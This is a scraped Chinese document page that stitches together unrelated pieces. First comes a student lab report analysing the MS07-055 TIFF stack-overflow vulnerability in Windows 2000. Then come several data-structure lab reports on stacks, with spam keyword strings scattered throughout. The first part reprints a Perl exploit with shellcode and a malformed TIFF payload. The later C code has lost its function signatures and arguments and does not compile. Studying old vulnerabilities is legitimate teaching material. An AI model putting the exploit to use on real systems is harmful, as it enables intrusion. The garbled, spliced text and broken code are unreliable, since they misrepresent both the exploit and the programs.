栈溢出实验
报告
软件系统测试报告下载sgs报告如何下载关于路面塌陷情况报告535n,sgs报告怎么下载竣工报告下载
“网络对抗实验”
实验报告
题
快递公司问题件快递公司问题件货款处理关于圆的周长面积重点题型关于解方程组的题及答案关于南海问题
目Microsoft TIFF图像文件处理栈溢出 学生
年级
班级
学号
专业
学院
目录
漏洞背景..................................................................................................................
......................... 1
第一章 实验准备 ................................................................................................................
............. 1
第二章 实验过程 ................................................................................................................
............. 2
漏洞重
现 .................................................................................................................................. 2
漏洞分
析 .................................................................................................................................. 6
了解tiff图像文件格
式 ..................................................................................................... 6
对 文件分
析 ................................................................................................. 8
调试证
明 .................................................................................................................................. 9
漏洞利
用 ................................................................................................................................ 11
第三章 结
论 ................................................................................................................................... 12
参考文
献......................................................................................................................................... 13
漏洞背景
TIFF是Mac中广泛使用的图像格式,它由Aldus和微软联合开发,最初是出于跨平台存储扫描图像的需要而设计的。它的特点是图像格式复杂、存贮信息多。正因为它存储的图像细微层次的信息非常多,图像的质量也得以提高,故而非常有利于原稿的复制。该格式有压缩和非压缩二种形式,其中压缩可采用LZW无损压缩
方案
气瓶 现场处置方案 .pdf气瓶 现场处置方案 .doc见习基地管理方案.doc关于群访事件的化解方案建筑工地扬尘治理专项方案下载
存储。不过,由于TIFF格式结构较为复杂,兼容性较差,因此有时你的软件可能不能正确识别TIFF文件。目前在Mac和PC机上移植TIFF文件也十分便捷,因而TIFF现在也是微机上使用最广泛的图像文件格式之一。
xx年10月9日,微软的网站上公示了“Microsoft 安全公告 MS07-055 - 严重 Kodak 图像查看器中的漏洞可能允许远程执行代码 ”这个安全公告,并提供了该漏洞的补丁程序。
此漏洞仅存在于运行 Windows 2000 的系统上。但是,如果是从 Windows 2000 升级的,运行受支持版本的 Windows XP 和 Windows Server xx 也可能受影响。10月29日和11月11日,milw0rm上公布了利用这个漏洞的两个程序,一个是利用explorer溢出的;另一个是利用IE溢出的,可以做网络木马。同时绿盟的网站上也发布了紧急通告——“绿盟科技紧急通告”。攻击者可以通过构建特制图像来利用此漏洞,如果用户访问网站、查看特制电子邮件或者打开电子邮件附件,该漏洞可能允许远程执行指令。成功利用此漏洞的攻击者可以完全控制受影响的系统。应该说这个漏洞的危害性还是很大的,属于“严重”、“紧急”级别的漏洞。
另外,同一时间,除了MS07-055,微软还公布了MS07-056到MS07-060。这些安全公告分别描述了8个安全问题,分别是有关各版本的Microsoft Windows、IE、Outlook Express和Windows Mail和SharePoint等产品和服务中的漏洞。
第一章 实验准备
要
分析
定性数据统计分析pdf销售业绩分析模板建筑结构震害分析销售进度分析表京东商城竞争战略分析
这个漏洞,一定要能够重现这个漏洞,然后通过跟踪和调试来分析它。如果你的WindowsXP系统不是从Windows2000升级过来的,最好先安装一个虚拟机,虚拟一个Win2K操作系统,然后在这个系统下做漏洞重现。我在VMware中安装的是Win2K SP3,当然SP4也可以,只要是2K系统都可以,因为这个漏洞是新出的。如果你的2K系统已经对这个漏洞打了漏洞补丁,可以先把漏洞补丁在“添加删除程序”中卸载掉,
做完实验后可以在安装上。另外还要安装一下ActivePerl,用来运行perl程序代码。把这些准备工作做好后,我们就可以开始漏洞重现了。
第二章 实验过程
漏洞重现
Milw0rm上关于这个漏洞公布了2个exploit,我分析了一下,这两个exploit利用的漏洞是同一个,就是我们现在要分析的tiff文件格式处理漏洞,但是它们的利用方式不同,一个是直接在explorer下就溢出,也就是说当你用explorer打开了畸形tiff文件所在的目录时,漏洞就已经使explorer溢出了;另一个是可以用来做网络木马,也就
是说,当你打开了远程web服务器上的某个网页时,而网页恰好打
开了那个畸形tiff文件,那个就会在你本地发生IE栈溢出,从而执行
任意代码,即shellocde。
那么我这里仅通过最新的网页木马方式的exploit来分析这个
漏洞,最终让大家看到这个漏洞发生的根本原因。下面我们首先来看
看这个exploit是如何写成的: #!/usr/bin/perl # Microsoft Internet Explorer TIF/TIFF Code Execution # This exploit tested on: # -
Windows 2000 SP4 + # - Windows 2000 SP4 + # - Windows 2000
SP4 + SP1 # invokes if successful use strict; # run my $shellcode
= “\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b”.
“\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99”.
“\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04”.
“\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb”.
“\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30”.
“\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09”.
“\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8”.
“\x83\xc0\x7b\x50\x68\x7e\xd8\xe2\x73\x68\x98\xfe\x8a\x0e\x57\xff”.
“\xe7\x63\x61\x6c\x63\x2e\x65\x78\x65\x00”; my $tiff1 =
“\x49\x49\x2A\x00\x90\x3E\x00\x00\x80\x3F\xE0\x50”.
“\x38\x24\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36”.
“\x1D\x0F\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C”. “\x46\x63\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52”. “\x39\x24\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6”.
。。。。。。 “\x56\xAD\x57\x86\x40\x40\x60\x00\x00\x00\x01\x00”. “\x00\x00\x60\x00\x00\x00\x01\x00\x00\x00\x08\x00”. “\x08\x00\x08\x00\xAE\x00\x00\x00\xAE\x00\x00\x00”. “\xAE\x00\x00\x00\xAE\x00\x00\x00\xAE\x00\x00\x00”. “\xAE\x00\x00\x00\xB4\x00\x00\x00\xBA\x00\x00\x00”. “\xBA\x00\x03\x00\xCA\x00\x00\x00\xDB\x00\x00\x00”. “\xD7\x00\x00\x00\xD6\x00”; my $eip = “\x0c\x0c\x0c\x0c”; my $data_0400 = “\x08\x00\x40\x00”; my $data_null = “\x11\x00\x40\x00”; my $tiff2 = “\x00\x00\xB9\x90\x90\x90\x90\x90\xFC\xE8”. “\x44\x00\x00\x00\x8B\x45\x3C\x8B\x7C\x05\x78\x01”. “\xEF\x8B\x4F\x18\x8B\x5F\x20\x01\xEB\x49\x8B\x34”. “\x8B\x01\xEE\x31\xC0\x99\xAC\x84\xC0\x74\x07\xC1”. “\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x04\x75\xE5”.
。。。。。。 “\xB6\x3A\x00\x00\x64\x3B\x00\x00\x0F\x00\xFE\x00”.
“\x04\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01”.
一、实验目的和要求
理解栈和队列的特征以及它们之间的差异,知道在何时使用那种数据结构。
重点掌握在顺序栈上和链栈上实现栈的基本运算算法,注意栈满和栈空的条件。
重点掌握在顺序队上和链队上实现队列的基本运算算法,注意循环队队列满和队空的条件。
灵活运用栈和队列这两种数据结构解决一些综合应用问题。
二、实验环境和方法
实验方法:
综合运用课本所学的知识,用不同的算法实现在不同的程序功能。
结合指导老师的指导,解决程序中的问题,正确解决实际中存在的异常情况,逐步改善功能。
根据实验内容,编译程序。
实验环境:Windows xpVisual C++
三、实验内容及过程描述
实验步骤:
? 进入Visual C++ 集成环境。
? 输入自己编好的程序。
? 检查一遍已输入的程序是否有错,如发现有
错,及时改正。
? 进行编译和连接。如果在编译和连接过程中发现错误,频幕上会出现“报错信息”,
根据提示找到出错位置和原因,加以改正。再进行编译,如
此反复直到不出错为止。 ? 运行程序并分析运行结果是否合理。在运行是要注意当输入不同的数据时所得结果
是否正确,应运行多次,分别检查在不同情况下结果是否正确。
实验内容:编译以下题目的程序并调试运行。
1)、编写一个程序,实现顺
的各种基本运算,并在此基础上设计一
程序并完成如下功能:
初始化栈s;
判断栈s是否非空; 序栈个主
依次进栈元素a,b,c,d,e;
判断栈s是否非空;
输出出栈序列;
判断栈s是否非空;
释放栈。 图 Proj3_1 工程组成
本工程Proj3_1的组成结构如图所示。本工程的模块结构如图所示。图中方框表示函数,方框中指出函数名,箭头方向表示函数间的调用关系。
图 Proj3_1工程的程序结构图
其中包含如下函数:
InitStack //初始化栈S
DestroyStack //销毁栈s
StackEmpty //判断栈空
Push //进栈
Pop //出栈
GetTop //取栈顶元素
对应的程序如下:
//文件名:
#include
#include
#define MaxSize 100
typedef char ElemType;
typedef struct
{
ElemType data[MaxSize];
int top; //栈顶指针
} SqStack;
void InitStack //初始化栈S
{ s=malloc);
s->top=-1; //栈顶指针置为-1
}
void DestroyStack //销毁栈s
{
free;
}
bool StackEmpty //判断栈空
{
return;
}
bool Push //进栈
{ if //栈满的情况,即栈上溢出
return false;
s->top++; //栈顶指针增1
s->data[s->top]=e; //元素e放在栈顶指针处
return true;
}
bool Pop //出栈
{ if //栈为空的情况,即栈下溢出
return false;
e=s->data[s->top]; //取栈顶指针元素的元素
s->top--;//栈顶指针减1
return true;
}
bool GetTop //取栈顶元素
{ if //栈为空的情况,即栈下溢出
return false;
e=s->data[s->top]; //取栈顶指针元素的元素
return true;
}
设计程序如下 //文件名:
#include
#include
#define MaxSize 100
typedef char ElemType;
typedef struct
{
ElemType data[MaxSize];
int top; //栈顶指针
} SqStack;
extern void InitStack;
extern void DestroyStack;
extern bool StackEmpty;
extern bool Push;
extern bool Pop;
extern bool GetTop;
void main
{
ElemType e;
SqStack *s;
printf;
printf初始化栈s\n”);
InitStack;
printf栈为%s\n”,?”空”:”非空”));
printf依次进栈元素a,b,c,d,e\n”);
Push;
Push;
Push;
Push;
Push;
printf栈为%s\n”,?”空”:”非空”));
printf出栈序列:”);
while )
{
Pop;
printf;
}
printf;
printf栈为%s\n”,?”空”:”非空”));
printf释放栈\n”);
DestroyStack;
}
运行结果如下:
2)、编写一个程序,实现链栈的各种基本运算,并在此基础
上设计一个主程序并完成如下功能:
初始化链栈s;
判断链栈s是否非空;
依次进栈a,b,c,d,e;
判断链栈s是否非空;
输出链栈长度;
输出从栈底到栈顶元素;
输出出队序列;
判断链栈s是否非空;图 Proj3_2工程组成
释放队列。
本工程Proj3_2的组成结构如图所示。本工程的模块结构如图
所示。图中方框表示函数,方框中指出函数名,箭头方向表示函数间
的调用关系。
图 Proj3_2工程的程序结构图
其中包含如下函数:
InitStack //初始化栈s
DestroyStack //销毁栈
StackEmpty //判断栈是否为空
Push //进栈
Pop //出栈
GetTop //取栈顶元素
对应的程序如下:
//文件名:
#include
#include
typedef char ElemType;
typedef struct linknode
{
ElemType data; //数据域
一、 设计人员相关信息
1. 设计者姓名、学号和班号:12地信李晓婧 12016242983
2. 设计日期:2016.
3. 上机环境:VC++
二、 程序设计相关信息
1. 实验题目:编写一个程序,实现顺序栈的各种基本运算,并在此基础上设计一个程序,完成如下功能:
初始化栈
判断栈是否为空
依次进栈元素a,b,c,d,e
判断栈是否为空
输出栈长度
输出从栈顶到栈底元素
输出出栈序列
判断栈是否为空
释放栈
2. 实验项目组成:栈的初始化、销毁、判断是否为空、进栈、出栈、取栈顶元素。
3. 实验项目的程序结构:
4. 实验项目包含的各个文件中的函数的功能描述:
初始化栈InitStack:建立一个新的空栈,实际上将栈顶指针指向-1即可。
销毁栈DestroyStack:释放栈占用的存储空间
判断栈是否为空StackEmpty:栈为空的条件是s->op==-1。
进栈Push:在栈不满的条件下,先将栈顶指针增1,然后在栈顶指针指向位置插入元素e。
出栈Pop:在栈不为空的条件下,先将栈顶元素赋给e,然后将栈顶指针减1.
取栈顶元素GetTop:在栈不为空的条件下,将栈顶元素赋给e。
5. 算法描述或
流程
快递问题件怎么处理流程河南自建厂房流程下载关于规范招聘需求审批流程制作流程表下载邮件下载流程设计
图:
#include ““
#include ““
#include
#define MaxSize 50
typedef char ElemType;
typedef struct
{ElemType data[MaxSize];
int top; /*栈顶指针*/
}SqStack;//定义顺序栈类型
void InitStack/*初始化*/
{
s=malloc);
s->top=-1;//栈顶指针置为-1
}
void DestroyStack/*销毁*/
{
free;
}
int StackEmpty/*判断是否为空*/
{
return;
}
int push
{
int i; if//栈满的情况,即栈上溢出 return 0; for{ s->top++; //
栈顶指针增1
s->data[s->top]=a[i];//元素e放在栈顶指针处
}
int Pop/*出栈一个元素*/ {
if//栈为空的情况,即栈下溢出 return 0;
e=s->data[s->top]; //取栈顶元素
s->top--; //栈顶指针减1
return 1;
}
} return 1;
int GetTop/*取栈顶元素*/ {
if //栈为空的情况,即栈下溢出 return 0;
e=s->data[s->top];//取栈顶元素
return 1;
}
int StackLength/*求栈长度*/
{
return;
}
void DispStack
{
}
void main
{
int i,j;
ElemType str[5]={„a?,?b?,?c?,?d?,?e?}; //定义字符数组 SqStack *st;//定义栈
InitStack;/*初始化*/
i=StackEmpty;//判断栈是否为空
if int i; for printf; printf;
printf; else printf;
push; //进栈
j=StackEmpty;
if
printf; else printf;
printf); //输出栈长度
printf;
DispStack; //输出栈
StackEmpty;
DestroyStack;
}
6. 实验数据和实验结果: